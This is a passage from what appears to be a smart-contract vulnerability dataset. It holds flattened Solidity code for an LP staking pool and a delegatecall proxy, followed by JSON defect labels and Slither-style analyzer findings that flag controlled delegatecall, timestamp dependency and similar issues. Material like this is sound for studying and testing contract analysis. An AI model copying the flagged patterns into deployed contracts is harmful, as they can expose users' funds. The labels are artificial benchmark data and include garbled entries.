b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Mints `amount` tokens to the account. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function mint(address account, uint amount) external; /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.0; contract PoolStorage { using SafeMath for uint256; using SafeERC20 for IERC20; address public gov; address public pendingGov; string poolname; IERC20 public basetoken; IERC20 public rewardtoken; uint256 public DURATION; uint256 public initreward; uint256 public starttime; uint256 public periodFinish; uint256 public rewardRate; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; address public implementation; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } contract LiquidityPoolCore is PoolStorage { uint256 private _totalSupply; mapping(address => uint256) private _balances; modifier onlyGov() { require(msg.sender == gov, "Caller is not gov"); _; } modifier checkStart() { require(block.timestamp >= starttime,"not start"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function _setPendingGov(address pendingGov_) external onlyGov returns (bool) { pendingGov = pendingGov_; return true; } function _acceptGov() external returns (bool) { require(msg.sender == pendingGov, "!pending"); gov = pendingGov; pendingGov = address(0); return true; } function initialize(string memory _poolname, address _rewardtoken, address _basetoken, uint256 _starttime, uint256 _period, uint256 _initreward) public onlyGov { require(initreward == uint256(0), 'This pool has been initialized'); poolname = _poolname; rewardtoken = IERC20(_rewardtoken); basetoken = IERC20(_basetoken); starttime = _starttime; DURATION = _period; initreward = _initreward; rewardRate = _initreward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function stake(uint256 amount) public updateReward(msg.sender) checkStart checkhalve returns (bool) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); basetoken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); return true; } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart returns (bool) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); basetoken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); return true; } function exit() external returns (bool) { withdraw(balanceOf(msg.sender)); getReward(); return true; } function getReward() public updateReward(msg.sender) checkStart returns (bool) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; rewardtoken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } return true; } modifier checkhalve() { if (block.timestamp >= periodFinish) { initreward = initreward.mul(50).div(100); rewardtoken.mint(address(this), initreward); rewardRate = initreward.div(DURATION); periodFinish = block.timestamp.add(DURATION); emit RewardAdded(initreward); } _; } function _becomeImplementation(bytes memory data) public { // Shh -- currently unused data; // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == gov, "only the gov may call _becomeImplementation"); } function _resignImplementation() public { // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == gov, "only the gov may call _resignImplementation"); } } contract LPPoolDelegator is PoolStorage { uint256 private _totalSupply; mapping(address => uint256) private _balances; event NewImplementation(address oldImplementation, address newImplementation); constructor( string memory _poolname, address _rewardtoken, address _basetoken, uint256 _starttime, uint256 _period, uint256 _initreward, address implementation_, bytes memory becomeImplementationData ) public { gov = msg.sender; delegateTo( implementation_, abi.encodeWithSignature( "initialize(string,address,address,uint256,uint256,uint256)", _poolname, _rewardtoken, _basetoken, _starttime, _period, _initreward ) ); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); } /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == gov, "RewardPoolDelegator::_setImplementation: Caller must be gov"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } function totalSupply() external view returns (uint256) { delegateToViewAndReturn(); } function balanceOf(address account) external view returns (uint256) { account; delegateToViewAndReturn(); } function earned(address account) external view returns (uint256) { account; delegateToViewAndReturn(); } function stake(uint256 amount) external returns (bool) { amount; delegateAndReturn(); } function withdraw(uint256 amount) external returns (bool) { amount; delegateAndReturn(); } function exit() external returns (bool) { delegateAndReturn(); } function getReward() external returns (bool) { delegateAndReturn(); } function _setPendingGov(address newPendingGov) external { newPendingGov; delegateAndReturn(); } function _acceptGov() external { delegateAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"RewardPoolDelegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["iquidityPoolCore.L594"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["869", "919"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["706"]}, {"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["826", "792", "800", "841", "818", "809", "834"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["iquidityPoolCore.L594"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["734", "735", "575", "587", "583", "580", "578", "582", "581", "584", "574", "579", "586", "577", "576", "573", "585", "784", "869", "896", "906", "919"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["630", "317", "298", "283", "305"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["649", "702", "603"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [453]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [908, 909, 910, 911, 912, 913, 914, 915]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [870, 871, 872, 873, 874]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [897, 898, 899, 900, 901]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [928, 921, 922, 923, 924, 925, 926, 927]}}, {"check": "boolean-cst", "impact": "Medium", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [725]}}, {"check": "boolean-cst", "impact": "Medium", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [716]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [734]}}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [869]}}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [919]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [485, 486, 487, 488, 489, 490, 491]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [48, 49, 47]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [64, 65, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [530, 531, 532, 533]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [519, 520, 521, 522, 523, 524, 525, 526, 527, 528]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [224, 221, 222, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [251, 252, 253, 254]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [464, 465, 463]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [204, 205, 206]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [536, 537, 538, 535]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [312, 313, 314, 315]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [896, 897, 898, 899, 900, 901, 902, 903, 895]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [640, 641, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [288, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [672, 673, 674, 675, 676, 677, 678, 671]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [321, 322, 323]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LPPoolDelegator.sol": [723, 724, 725, 726, 727, 728, 729, 730]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [259]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [337]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [568]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [496]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [38]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [70]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [425]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [229]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [919]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [489]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [869]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [558]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [896]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [906]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [640]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [619]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [785]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [848, 849, 850, 851, 852, 853]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [855, 856, 857, 858, 859]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [578]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [630]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [615, 616, 617, 618, 619, 620, 621]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [630]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [723, 724, 725, 726, 727, 728, 729, 730]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [630]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [630]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [630]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [622, 623, 624, 625, 626, 627, 628, 629]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [630]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 